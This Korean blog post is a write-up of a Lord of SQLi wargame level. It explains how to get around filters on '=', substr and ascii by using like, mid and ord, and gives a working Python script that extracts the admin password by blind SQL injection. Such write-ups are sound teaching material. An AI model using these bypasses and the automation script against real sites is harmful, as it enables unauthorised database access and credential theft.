12번문제의 php코드

 

1. 문제풀이

 

1) 코드 해석

  • 이번문제도 admin의 비밀번호를 알아내야 풀 수 있는 Blind SQLi 문제다
  • 이번문제에서는 =,substr,ascii 문자들이 필터링 걸려있다
  • 자동화도구에 대입할 쿼리를 만들때 위의 문자들을 우회해서 공격하면 된다

 

2) 문제 풀이

  • 필터링 걸려있는 문자들의 우회방법은 다음과 같다

= : like

substr : mid

ascii : ord

 

2-1 비밀번호의 길이와 실제 비밀번호를 알아내는 python코드

import requests
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php' #url 주소를 입력
cookies = {'PHPSESSID': 'cookie'} #세션 쿠키를 입력
def find_pw_len():
    pw_len = 0
    while 1:
        pw_len=pw_len+1
        value = " \"\" or id like \"admin\" and length(pw) like {} #".format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        params = {'no': value} # no에 Payload 코드 삽입 
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "Hello admin" in response.text: 
            break
    return pw_len #pw 길이 반환
def find_pw_str(pw_len):
    pw_str = ""
    for len in range(1,pw_len+1):
        for ascii in range(33,127): 
            value = " \"\" or id like \"admin\" and ord(mid(pw,{},1)) like {} #".format(len,ascii)  # 반복하면서 pw를 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'no': value}  # no에 Payload 코드 삽입 
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "Hello admin" in response.text:  
                pw_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        pw_str+="\n"
    return pw_str #한 문자에 대한 검색이 끝날시 엔터 처리
if __name__ == '__main__':
    print("비밀번호 조합 : \n"+find_pw_str(find_pw_len()))

 

실제비밀번호를 알아내는 공격화면
공격 성공화면

 

'Lord of SQLi | WebHacking.kr' 카테고리의 다른 글

WebHacking.kr(#47)  (0) 2023.04.13
WebHacking.kr(#25)  (0) 2023.04.13
Lord of SQLi(#11 golem)  (0) 2023.01.04
Lord of SQLi(#10 skeleton)  (0) 2023.01.04
Lord of SQLi(#9 vampire)  (0) 2023.01.04

+ Recent posts